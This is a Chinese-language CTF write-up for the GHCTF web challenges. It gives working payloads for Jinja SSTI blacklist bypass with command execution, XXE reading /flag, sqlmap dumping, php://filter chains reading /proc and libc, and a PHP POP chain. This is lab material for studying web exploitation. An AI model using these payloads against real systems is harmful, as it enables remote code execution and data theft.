GHCTF web详细wp
字数 851 2025-08-29 08:30:12

GHCTF Web题目详细解析与利用技术教学

1. SSTI漏洞利用

漏洞分析

题目提供了一个文件上传功能,上传的文件内容会被渲染,存在服务器端模板注入(SSTI)漏洞。

关键代码:

def contains_dangerous_keywords(file_path):
    dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
    with open(file_path, 'rb') as f:
        file_content = str(f.read())
        for keyword in dangerous_keywords:
            if keyword in file_content:
                return True
    return False

绕过方法

使用fenjing工具生成绕过黑名单的payload:

from fenjing import exec_cmd_payload, config_payload
import logging

logging.basicConfig(level = logging.INFO)

def waf(s: str):
    dangerous_patterns = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]
    for pattern in dangerous_patterns:
        if pattern in s:
            return False
    return True

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "ls")
    print(shell_payload)

有效payload

{%set pi='so'[::-1]%}{%set ts=lipsum|escape|batch(22)|first|last%}{%set gl=ts*2+'globals'+ts*2%}{%set bu=ts*2+'builtins'+ts*2%}{%set im=ts*2+'import'+ts*2%}{{g.pop[gl][bu][im](pi).popen('ls').read()}}

利用步骤

  1. 上传包含payload的文件
  2. 访问/file/文件名路径触发渲染
  3. 获取命令执行结果

2. XXE漏洞利用

漏洞分析

题目提供了一个XML解析接口,未禁用外部实体引用。

关键代码:

@app.route('/ghctf',methods=['POST'])
def parse():
    xml=request.form.get('xml')
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
    root = etree.fromstring(xml, parser)
    name=root.find('name').text
    return name or None

利用方法

构造包含外部实体引用的XML文档:

URL编码payload:

%3c%21%44%4f%43%54%59%50%45%20%74%65%73%74%20%5b%0d%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%78%78%65%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%66%6c%61%67%22%3e%0d%0a%5d%3e%0d%0a%3c%72%6f%6f%74%3e%0d%0a%20%20%20%20%3c%6e%61%6d%65%3e%26%78%78%65%3b%3c%2f%6e%61%6d%65%3e%0d%0a%3c%2f%72%6f%6f%74%3e

解码后:

<!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
    <name>&xxe;</name>
</root>

利用步骤

  1. /ghctf发送POST请求
  2. xml参数中传入恶意XML
  3. 获取文件内容

3. SQLite注入

漏洞分析

题目存在SQLite数据库注入漏洞。

利用方法

直接使用sqlmap工具进行自动化注入:

sqlmap -u "目标URL" --dbs
sqlmap -u "目标URL" -D 数据库名 --tables
sqlmap -u "目标URL" -D 数据库名 -T 表名 --dump

4. 文件读取漏洞

漏洞分析

题目存在文件读取功能,可以通过路径遍历读取系统文件。

利用方法

  1. 读取/proc/self/maps获取内存布局:
php://filter/convert.base64-encode/resource=/proc/self/maps
  1. 读取libc文件:
php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so
  1. 使用复杂过滤器绕过限制:
php://filter/read=zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=data:text/plain;base64,{base64编码的payload}

5. 反序列化漏洞(POP链构造)

漏洞分析

题目存在PHP对象注入漏洞,需要构造特定的POP链。

利用方法

  1. 分析源代码,找到可利用的类和方法
  2. 构造POP链利用Mystery
  3. 通过SplFileObject读取文件

关键点:

  • 利用array_walk函数遍历对象属性
  • 通过__get魔术方法触发文件操作
  • 使用FilesystemIterator遍历文件系统

示例POP链

$f = new Mystery();
$f->SplFileObject = "../../../flag44545615441084";

总结

  1. SSTI漏洞:重点在于绕过关键字过滤,使用字符串操作和属性链式访问
  2. XXE漏洞:利用外部实体引用读取系统文件
  3. SQL注入:使用自动化工具快速利用
  4. 文件读取:结合过滤器链和路径遍历读取敏感文件
  5. 反序列化:分析类结构,构造属性访问链

每种漏洞类型都有其特定的利用场景和防御方法,在实际渗透测试中需要根据具体情况选择合适的利用方式。

GHCTF Web题目详细解析与利用技术教学 1. SSTI漏洞利用 漏洞分析 题目提供了一个文件上传功能,上传的文件内容会被渲染,存在服务器端模板注入(SSTI)漏洞。 关键代码: 绕过方法 使用 fenjing 工具生成绕过黑名单的payload: 有效payload 利用步骤 上传包含payload的文件 访问 /file/文件名 路径触发渲染 获取命令执行结果 2. XXE漏洞利用 漏洞分析 题目提供了一个XML解析接口,未禁用外部实体引用。 关键代码: 利用方法 构造包含外部实体引用的XML文档: URL编码payload: 解码后: 利用步骤 向 /ghctf 发送POST请求 在 xml 参数中传入恶意XML 获取文件内容 3. SQLite注入 漏洞分析 题目存在SQLite数据库注入漏洞。 利用方法 直接使用sqlmap工具进行自动化注入: 4. 文件读取漏洞 漏洞分析 题目存在文件读取功能,可以通过路径遍历读取系统文件。 利用方法 读取 /proc/self/maps 获取内存布局: 读取libc文件: 使用复杂过滤器绕过限制: 5. 反序列化漏洞(POP链构造) 漏洞分析 题目存在PHP对象注入漏洞,需要构造特定的POP链。 利用方法 分析源代码,找到可利用的类和方法 构造POP链利用 Mystery 类 通过 SplFileObject 读取文件 关键点: 利用 array_walk 函数遍历对象属性 通过 __get 魔术方法触发文件操作 使用 FilesystemIterator 遍历文件系统 示例POP链 总结 SSTI漏洞 :重点在于绕过关键字过滤,使用字符串操作和属性链式访问 XXE漏洞 :利用外部实体引用读取系统文件 SQL注入 :使用自动化工具快速利用 文件读取 :结合过滤器链和路径遍历读取敏感文件 反序列化 :分析类结构,构造属性访问链 每种漏洞类型都有其特定的利用场景和防御方法,在实际渗透测试中需要根据具体情况选择合适的利用方式。